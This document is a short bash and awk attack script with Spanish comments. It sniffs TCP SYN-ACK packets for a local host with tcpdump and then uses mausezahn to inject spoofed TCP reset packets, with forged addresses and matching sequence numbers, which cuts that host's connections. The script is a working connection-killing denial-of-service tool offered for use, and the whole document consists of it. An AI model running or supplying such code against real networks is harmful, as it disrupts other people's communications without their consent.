#script by The Monster of cookies
#!/bin/bash
  tcpdump -i wlan0 host 192.168.0.107 and  -S -n -e -l  'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)'  | awk '{


  CONVFMT="%u";


  srand();


#recogemos las variables de la salida tcpdump
  dst_mac = $2;
  src_mac = $4;
  split($12, dst, ".");
  split($10, src, ".");
  src_ip = src[1]"."src[2]"."src[3]"."src[4];

  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
  src_port = substr(src[5], 1, length(src[5]));


  dst_port = substr(dst[5], 1, length(dst[5])-1);
#  recogemos el ack number para poder mandar paquetes licitos
  seq_num = $18  ;

# le pasamos la informacion a mausehn


  exec_string= "mz wlan0 -c 10   -A "dst_ip"  -B " src_ip " -a "src_mac"   -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", s="seq_num " sp="dst_port" \"  " ;
# Display some helpful debugging info.. input vs. output
  print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19;


  print "[out] "exec_string;

# Injectamos los paquetes con Mausehn
  system(exec_string);


}'